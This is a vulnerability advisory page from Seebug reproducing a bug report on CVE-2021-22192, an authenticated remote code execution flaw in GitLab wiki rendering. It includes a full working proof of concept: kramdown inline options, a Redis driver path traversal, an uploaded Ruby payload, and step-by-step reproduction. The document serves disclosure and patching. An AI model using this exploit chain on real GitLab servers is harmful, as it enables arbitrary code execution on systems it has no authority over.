Lucene search

K
seebugKnownsecSSV:99159
HistoryMar 18, 2021 - 12:00 a.m.

GitLab 未授权RCE漏洞(CVE-2021-22192)

2021-03-1800:00:00
Knownsec
www.seebug.org
42

When rendering wiki content with certain extensions such as .rmd, render_wiki_content will call other_markup_unsafe which will end up calling GitHub::Markup.render from the github-markup gem. Files with any extension can be uploaded by checking out the wiki with git, commiting the files and pushing the changes back.

Since kramdown is loaded, this will end up using it for the markdown parser by calling Kramdown::Document.new(content).to_html

Kramdown has a special extension that allows for options to be set inline, the example they give is: {::options auto_ids="false" footnote_nr="5" syntax_highlighter_opts="{line_numbers: true\}" /}

The default syntax highlighter is rouge which has an option formatter that can be set via syntax_highlighter_opts in the inline options. This option gets used by formatter_class:

  def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

  def self.formatter_class(opts = {})
      puts "formatter"
      puts opts[:formatter]
      case formatter = opts[:formatter]
      when Class
        formatter
      when /\A[[:upper:]][[:alnum:]_]*\z/
        ::Rouge::Formatters.const_get(formatter)
      else
        # Available in Rouge 2.0 or later
        ::Rouge::Formatters::HTMLLegacy
      end
    rescue NameError
      # Fallback to Rouge 1.x
      ::Rouge::Formatters::HTML
    end

So this a means that ::Rouge::Formatters.const_get(opts[:formatter]).new(opts) will be called, where opts is controllable via the inline options to kramdown, allowing ruby objects to be initialised so long as the validation of /\A[[:upper:]][[:alnum:]_]*\z/ passes. The validation slightly restricts things, but pretty much any class without a namespace (:: is not allowed) can be created. For example (the two ~~ should have an extra ~ but it’s messing up the h1 formatting so will need to add it):

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~ ruby
    def what?
      42
    end
~~

Will result in a CSV object being created and then it will error with private method 'format' called for #<CSV:0x00007fe4df7e26d0> as it tries to use this as the formatter.

One of the loaded classes is gitlab is Redis from redis-rb which has an option driver that is used to load the driver class:

https://github.com/redis/redis-rb/blob/v4.1.3/lib/redis/client.rb#L507

    def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end

As both require_relative and require allow for directory traversal, supplying a driver option such as ../../../../../../../../../../tmp/a.rb will cause that file to be evaluated.

One of the ways to get a file to a known location in gitlab is to attach a file in the description of a snippet. When attaching, a markdown link will be created similar to: [file.rb](/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb). The default gitlab_rails['uploads_directory'] is /var/opt/gitlab/gitlab-rails/uploads meaning the final file location will be /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb.

Combining all of of this, we can create the following .rmd file to execute our payload (add ~ to both of the ~~):

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/1cd3e965551892a4c0c1af01ef2f2ad7/file.rb\}" /}

~~ ruby
def what?
  42
end
~~

Steps to reproduce

  1. Create a new snippet with any title and file

  2. In the description, click Attach a file and select the final ruby payload such as:

    puts "hello from ruby"
    `echo vakzz was here > /tmp/vakzz````
    
  3. Make note of the upload path: /uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb

  4. Create a new project

  5. Click Wiki and create a default home page

  6. Hit Clone repository to get the clone command

  7. Clone the repo git clone [email protected]:root/proj1.wiki.git and add the following file page1.rmd using the path from above (add ~ to both the the ~~):

    {::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\}" /}
    ~~ ruby
    def what?
    42
    end
    ~~
    ​```
    
    
  8. Push the changes git add -A . && git commit -m "page1.rmd" && git push

  9. Refresh the wiki, there should now be page1 of the right hand side

  10. Click and load page1

  11. In the gitlab logs you should see something like:

    wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb
    lib/gitlab/other_markup.rb:11:in `render'
    app/helpers/markup_helper.rb:280:in `other_markup_unsafe'
    app/helpers/markup_helper.rb:145:in `markup_unsafe'
    app/helpers/markup_helper.rb:130:in `render_wiki_content'
    app/views/shared/wikis/show.html.haml:30
    ​```
    
    
  12. Looking at /tmp you can see that the payload was executed:

    root@gitlab-docker:~# cat /tmp/vakzz
    vakzz was here
    ​```
    

Impact

Allows any user with push access to a wiki to execute arbitrary ruby code.

Examples

Example page using the inline options to change the highlighter from rouge to minted - https://gitlab.com/vakzz-h1/kramdown-wiki/-/wikis/page1

What is the current bug behavior?

Inline options can be set when rendering kramdown documents

What is the expected correct behavior?

forbidden_inline_options could be use to disable the dangerous inline options - https://kramdown.gettalong.org/options.html

Output of checks

Results of GitLab environment info

System information
System:
Proxy:		no
Current User:	git
Using RVM:	no
Ruby Version:	2.7.2p137
Gem Version:	3.1.4
Bundler Version:2.1.4
Rake Version:	13.0.3
Redis Version:	6.0.10
Git Version:	2.29.0
Sidekiq Version:5.2.9
Go Version:	unknown

GitLab information
Version:	13.9.1-ee
Revision:	8ae438629fa
Directory:	/opt/gitlab/embedded/service/gitlab-rails
DB Adapter:	PostgreSQL
DB Version:	12.5
URL:		http://gitlab-docker.local
HTTP Clone URL:	http://gitlab-docker.local/some-group/some-project.git
SSH Clone URL:	[email protected]:some-group/some-project.git
Elasticsearch:	no
Geo:		no
Using LDAP:	no
Using Omniauth:	yes
Omniauth Providers:

GitLab Shell
Version:	13.16.1
Repository storage paths:
- default: 	/var/opt/gitlab/git-data/repositories
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell
Git:		/opt/gitlab/embedded/bin/git

Impact

Allows any user with push access to a wiki to execute arbitrary ruby code.